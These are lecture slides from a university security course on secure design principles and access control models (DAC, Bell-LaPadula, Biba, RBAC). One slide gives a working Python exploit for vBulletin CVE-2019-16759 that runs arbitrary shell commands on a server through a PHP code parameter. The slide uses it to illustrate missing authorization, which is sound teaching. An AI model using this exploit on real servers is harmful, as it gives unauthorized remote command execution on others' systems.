CE441: Data and Network Security
Authorization and System Security

Behnam Momeni, PhD

Department of Computer Engineering
Sharif University of Technology

Fall 2019
Outline

1 Security Design Principles
   - Compartmentalization
   - Robustness
   - Fault Tolerance

2 Access Control
Design Principles for Secure Software Development

- There is no methodical technique to eliminate all security flaws.
- But there are best practices, guidelines, and principles to reduce their risk.
- Read more details in [Saltzer1973].
**Principle: Economy of Mechanism**

- Alternative name: *Keep It Short and Simple (KISS)*
- Bugs might remain unnoticed for long times because normal inputs do not trigger exceptional execution paths
- It is practically essential to **review** codes **line by line**
- The simpler and smaller a system component’s design,
  - ...the easier and less costly its **code review**

---

*Image Ref:*

https://www.deviantart.com/pip3r-cz/art/Simplicity-is-the-ultimate-sophistication-364041215
Principle: Complete Mediation

- All accesses to all objects must be mediated by some access control mechanism to prevent unauthorized access.
- Without this principle, Authorization Bypass Vulnerabilities are inevitable.
- If results of an authorization check are cached, they should be skeptically checked for possible changes in authority.
- Example vulnerabilities in Web programming:
  - Client-side validation without server-side confirmation
  - Denying to load a Web form, but allowing its response processing
**Principle: Privilege Separation**

- Alternative name: *Separation of Duty (SoD)*
- A *single* privilege can be either granted or denied
- Dividing a privilege into *several* sub-privileges allows each aspect of a duty to be *restricted/allowed* independently
- *e.g.* a ciphertext with two keys
  - Each key can be held by a separate person
  - Both persons have to cooperate to decrypt it
- *e.g.* one person may *initiate* a payment process or *authorize* an initiated payment request, but *is not* allowed to perform both actions

Ref: https://images-na.ssl-images-amazon.com/images/G/01/th/aplus/sentrysafe/B005P12F2K-1.jpg
Principle: Least Privilege

- Each component should operate with the minimum number of required privileges.
- If it is compromised, damage is also minimized.
- When a component which has access to \( N \) objects is compromised, all \( N \) objects are compromised too.
- Isolating system functionality into several components (compartmentalization)
  - ...and distributing privileges among them
  - ...prevents adversary from performing arbitrary operations through exploitation of a single vulnerable component.
**Principle: Least Privilege – Examples**

- The network/camera usage privileges can be divided among two applications
  - One application can use camera to take photos and another application must be used to share the picture with contacts
  - If the former is controlled by adversary, photos cannot be transmitted
  - If the latter is controlled by adversary, no new photos might be taken

Ref: https://3dprint.com/wp-content/uploads/2015/05/buzz5.jpg
Least Privilege vs. Privilege Separation

Compartmentalization

Privilege Separation

Simpler Components

Least Privilege
Principle: Least Common Mechanism

- Each user might have *different* security needs
- A *shared* mechanism or resource
  - has to meet security demands of all users
  - is a potential information path among users
  - and might cause an unintentional security compromise

1. Design components with minimum coupling *(if possible)*
   - Read more about [cohesion] and [coupling]

2. Instantiate common mechanisms independently

3. Examine *shared mechanism* implementation/usage with scrutiny
Principle: Least Common Mechanism

- Each user might have *different* security needs
- A *shared* mechanism or resource
  - has to meet security demands of all users
  - is a potential information path among users
  - and might cause an unintentional security compromise

1. Design components with **minimum coupling** *(if possible)*
   - Read more about [cohesion] and [coupling]

2. Instantiate common mechanisms independently

3. Examine *shared mechanism* implementation/usage with scrutiny
Principle: Least Common Mechanism

- Each user might have *different* security needs
- A *shared* mechanism or resource
  - has to meet security demands of all users
  - is a potential information path among users
  - and might cause an unintentional security compromise

1. Design components with **minimum coupling** *(if possible)*
   - Read more about [cohesion] and [coupling]

2. Instantiate common mechanisms independently

3. Examine *shared mechanism* implementation/usage with scrutiny
**Principle: Least Common Mechanism**

- Each user might have *different* security needs
- A **shared** mechanism or resource
  - has to meet security demands of all users
  - is a potential information path among users
  - and might cause an unintentional security compromise

1. Design components with **minimum coupling** (*if possible*)
   - Read more about [cohesion] and [coupling]

2. Instantiate common mechanisms independently

3. Examine **shared mechanism** implementation/usage with scrutiny
Outline

1. Security Design Principles
   - Compartmentalization
   - Robustness
   - Fault Tolerance

2. Access Control
Principle: Open Design

- **Opposite of Security by Obscurity**
- Do not rely on ignorance of the adversary
  - It is usually impracticable to keep design secret (*e.g.* espionage, reverse engineering)
  - A secret design is reviewed by a few people
  - An open design benefits from **more scrutiny** to find vulnerabilities
- Security should depend on
  - Possession of specific and **easier to protect knowledges**: keys
- This also provides users with more confidence about what system is doing
vBulletin Remote Code Execution

- **vBulletin** forum 5.x through 5.5.4 receives a parameter containing PHP codes executing them without any *authorization*
- **Adversary** just needs to know the parameter name *(CVE-2019-16759)*

```python
params = {"routestring": "ajax/render/widget_php"}
while True:
    try:
        cmd = raw_input("vBulletin$ ")
        params['widgetConfig[code]'] = "echo shell_exec("'"+cmd+""); exit;"
        r = requests.post(url = sys.argv[1], data = params)
        if r.status_code == 200:
            print r.text
        else:
            sys.exit("Exploit failed! :(")
    except KeyboardInterrupt:
        sys.exit("\nClosing shell...")
    except Exception, e:
        sys.exit(str(e))
```

Ref: https://seclists.org/fulldisclosure/2019/Sep/31
Principle: User Acceptability

- **Ease of use** and **user acceptability** are essential for proper usage.
- If users understand and accept a routine, they will follow it correctly.
- If they find a mechanism **cumbersome or non-useful**, they are more likely to **make errors or circumvent** it.
Password Selection Example

Through 20 years of effort, we’ve successfully trained everyone to use passwords that are hard for humans to remember, but easy for computers to guess.

Ref: https://www.xkcd.com/936/
Outline

1. Security Design Principles
   - Compartmentalization
   - Robustness
   - Fault Tolerance

2. Access Control
Principle: Defense in Depth

- Incorporate several independent defensive measures in your design, so even if a so-called impenetrable security measure was bypassed, the next layer can come to the rescue or at least buy some extra time for alternative measures such as manual interventions!

- No single point of failure

- What if a zero-day vulnerability was discovered in your code
- And they could bypass ASLR with another information leakage vulnerability
- And the heuristic-based intrusion detection system failed to recognize them
- And the kernel was not updated too, allowing them to install a rootkit?
Principle: Fail-Secure Defaults

Assume that user misconfigures the system. Which scenario is more probable?

1. Misconfigured system continues to work but can be exploited
2. Misconfigured system fails to work correctly, but remains secure

A firewall which allows all traffic except a **blacklist**
- If a rule is missing, adversary might gain access
- While normal users do not notice the difference

A firewall which restricts all traffic except a **whitelist**
- If a rule is missing, normal users notice and complain (*system does not work correctly*)
- While an adversary’s traffic is blocked too
Principle: Increase the Cost of Exploitation

• What is the expected power of an adversary?
  • Check the Adversarial Model

• Select design parameters to increase the cost of exploitation above the capabilities of anticipated adversaries
  • Subject of the Concrete Security

• Challenges:
  1. It is not always easy to calculate the cost of exploitation
  2. And it is not straightforward to estimate capabilities of adversaries
**Principle: Increase the Cost of Exploitation – Example**

- The speed of an adversary brute-forcing a password by calling a webservice can be restricted by the implementation of that webservice
  - *e.g.* Its speed might be restricted to **one try per second**
  - If you want the passphrase to be cracked **not sooner than a year in average**, it should have **26 bits** of entropy (*Why?*)
  - This is achievable by a **six characters** password with **randomly and independently** chosen English characters
**Principle: Compromise Recording**

- **Reliably log** events to make **forensics** possible
- If security is compromised, at least it can be noticed later by inspecting logs

**Benefits:**
- Some types of data can be replaced if their compromise is detected, making the compromise worthless
- *e.g.* when a **key** is only used to protect **data integrity**
  - integrity of previously sent data was not affected
  - for new data, a fresh **key** will be generated and used

**Challenges:**
- Reliable logging is not straightforward (if media used is not write-only, adversary might find a way to alter them after compromising the system security)
- Logs might be insufficient to notice an specific compromise
Outline

1. Security Design Principles

2. Access Control
   - Discretionary Access Control (DAC)
   - Mandatory Access Control (MAC)
   - Role-Based Access Control (RBAC)
Access Control

- **Principals** *(e.g. with some usernames)* are recognized by some authentication mechanism beforehand

- **Objects** which are supposed to be protected against unauthorized access are known too

- Each **principal** might be allowed/restricted to perform some actions on a set of **objects** as stated in the **security policy**
  - *e.g.* Ali is allowed to create new files
  - *e.g.* Students of each class can observe average grade of that class

- A **model** is required to articulate security policies
  - *e.g.* Discretionary Access Control (DAC)

- And a **mechanism** is required to enforce the access control model
  - Called a reference validation mechanism
Access Control

- **Principals** *(e.g. with some usernames)* are recognized by some authentication mechanism beforehand
- **Objects** which are supposed to be protected against unauthorized access are known too
- Each **principal** might be allowed/restricted to perform some actions on a set of **objects** as stated in the **security policy**
  - *e.g.* Ali is allowed to create new files
  - *e.g.* Students of each class can observe average grade of that class
- A **model** is required to articulate **security policies**
  - *e.g.* Discretionary Access Control (DAC)
- And a **mechanism** is required to enforce the **access control model**
  - Called a **reference validation mechanism**
A set of design requirements are presented for implementation of a secure reference validation mechanism

- Called Reference Monitor
- Read more details in [refmon]

To satisfy the reference monitor concept, it is required

1. to have a guarantee that all actions can be governed (i.e. complete mediation principle)
2. and principals cannot interfere with it (i.e. implementation must be tamperproof)
3. and it should be verifiable (i.e. implementation must be small enough to be tested completely and ensure lack of vulnerabilities)
A reference validation mechanism which conforms with the reference monitor concept,

- neither itself allows principals to alter the modeled security policies without proper authorization,
- nor has any vulnerability to be bypassed or convinced to grant an unauthorized privilege,
- while monitors and controls all possible actions happening between principals and objects.
Discretionary Access Control

- **Object's owner** decides who is **allowed** to perform which **actions**
- Is it secure?
  - *depends on the *discretion* of owners!*
- How to model accesses?
  1. Access Control Matrix
  2. Access Control List
  3. Capability List
### Discretionary Access Control – Implementation

<table>
<thead>
<tr>
<th></th>
<th>Obj₁</th>
<th>Obj₂</th>
<th>Obj₃</th>
<th>Obj₄</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>P₁</strong></td>
<td>R</td>
<td>R/W</td>
<td>-</td>
<td>R</td>
</tr>
<tr>
<td><strong>P₂</strong></td>
<td>R/W</td>
<td>W</td>
<td>-</td>
<td>R/W</td>
</tr>
<tr>
<td><strong>P₃</strong></td>
<td>R</td>
<td>-</td>
<td>R/W</td>
<td>W</td>
</tr>
</tbody>
</table>

- Each column can be attached to an object: **access control list**
- Each row can be attached to a principal identity: **capability list**
- **Open Models**: all actions are permitted by default
  - rules will revoke some permissions
- **Closed Models**: all actions are restricted/denied by default
  - rules will grant some permissions
Capabilities can be managed implicitly by Operating System similar to an ACL

Principal is re-authorized before every action

Or they might be cached

* e.g. a random string is passed to a principal which can be mapped to a permission by OS, allowing OS to verify that it was truly issued to that process

Or they might be passed to principals themselves

* e.g. a signed tuple (principal, action, object)
* It is not required to search the access control matrix repeatedly, but the signature should be verified
* It can be passed to other processes of the same principal

Or they might be transferable to other principals

* e.g. a signed tuple (action, object)
Outline

1. Security Design Principles
2. Access Control
   - Discretionary Access Control (DAC)
   - Mandatory Access Control (MAC)
   - Role-Based Access Control (RBAC)
Information Flow Examples

- **DAC** model does not control information flow
  - Azadeh owns a diary file
  - She grants read permission to Bahram
  - Bahram reads the diary and writes it in a new file
  - Bahram owns the new file; Azadeh has no control on the new file’s contents

- **Trojan Horse**
  - Azadeh installs a program containing a Trojan Horse
  - It reads the diary and copies its contents in some non-protected file
  - Now, Bahram can read the diary from that non-protected file
Mandatory Access Control (MAC)

- Instead of authorizing principals based on the owner discretions, **Objects** and **principals** are assigned to some **security levels** and their accesses are mandated based on some policies regarding the assigned **security levels**.
  - When information flows between **security levels** might lead to compromise of security, they are prevented systematically.
  - The compromise might be about the **data confidentiality**:
    - BLP model
  - ...or it might be about the **data integrity**:
    - Biba model
Bell & LaPadula (BLP) Model – Simplified Version

- Each object is classified based on its **sensitivity**
  - Higher classification levels are more sensitive and should never be leaked to lower levels
  - e.g. Restricted, Confidential, Secret, Top Secret
- Each principal is given some **clearance level**
  - A principal can read objects belonging to lower classification levels
    - **NO READ UP**
  - ...but cannot write to those objects to prevent bad information flows
    - **NO WRITE DOWN** to protect information confidentiality
Biba Model – Simplified Version

- Each object is classified based on its **reliability**
  - Higher classification levels are more reliable and should never include non-reliable knowledge from the lower levels
- Each principal is given some **clearance level**
  - A principal can read objects belonging to higher classification levels
    - NO READ DOWN
  - ...but cannot write to those objects to prevent information corruption
    - NO WRITE UP to protect information **integrity**
Outline

1. Security Design Principles

2. Access Control
   - Discretionary Access Control (DAC)
   - Mandatory Access Control (MAC)
   - Role-Based Access Control (RBAC)
Access Control

Role-Based Access Control (RBAC)

- Permissions are assigned to roles instead of principals
- Roles are assigned to principals

**Motivation:**
- In an organization, new people might be employed or they might be added to another project’s team → Their privileges should be updated
- There are generic job positions which are taken by those people → Mapping of privileges and job positions are less likely to be updated
- Organizational structure can be modeled as inter-role relationships
- A person with multiple job titles, can perform different tasks based on the current job at hand → In each work session, a subset of roles can be used

**Group vs. Role**
- **Group** refers to a set of users/principals
- **Role** refers to a set of permissions/privileges
RBAC: Security Design Principles

- Principle of Least Privileges
  - Only required roles are activated in each session

- Principle of Privilege Separation
  - **Static**: One user is not assigned to multiple roles having conflict of interests
    - A chef might recommend dish of the day
    - A customer might write some restaurant review based on it
    - Chef and customer must be different
  - **Dynamic**: A user can be assigned to all roles, but only non-conflicting privileges can be used in each session
    - The chef of a restaurant can be the customer of another restaurant and write a restaurant review about their foods
Role-Based Access Control (RBAC)

- USERS
- ROLES
- SESSIONS
- OBJs
- OPs
- PERMs

User Assignment (UA)
Permission Assignment (PA)

user_sessions
session_roles

Borrowed from [40442-951:lec14-AccessControl.pdf], page 30
Evolution of RBAC: Initial Version

- $\text{RBAC}_0$ includes
  - definition of users and roles (without any hierarchy)
  - an assignment between users and roles (modeled by UA)
  - concept of sessions (to dynamically activate a subset of assigned roles)
  - an assignment between roles and permissions (modeled by PA)
  - each permission grants a specific set of operations to be performed on some objects
Evolution of RBAC: Next Versions

- **RBAC\textsubscript{1}** adds support for the hierarchy of roles
  - The *project maintainer* can accept **pull requests**
  - The *project developer* can prepare **new commits** and send a **pull request**
  - The *project maintainer* inherits the role of *project developer*
    - The *project maintainer* can also prepare **new commits** directly

- **RBAC\textsubscript{2}** adds support for the **Privilege Separation** principle
  - Rules can be written to indicate **role inconsistencies**
  - Assignment of inconsistent roles can be prevented
    - *statically* when assigning roles to users
    - or *dynamically* when activating roles in a session

- **RBAC\textsubscript{3}** provides combined features of **RBAC\textsubscript{1}** and **RBAC\textsubscript{2}**
  - Inconsistent roles cannot inherit each other
  - ...it has to be enforced *statically* (*Why?*)
Access Control

Role-Based Access Control (RBAC)

RBAC$_3$ Model

- SSoD (Separation of Duties)
- Role Hierarchy (RH)
- User Assignment (UA)
- Permission Assignment (PA)
- USERS
- ROLES
- SESSIONS
- OBJs
- OPs
- PERMs
- user_sessions
- session_roles

Borrowed from [40442-951:lec14-AccessControl.pdf], page 42
References and Further Reading


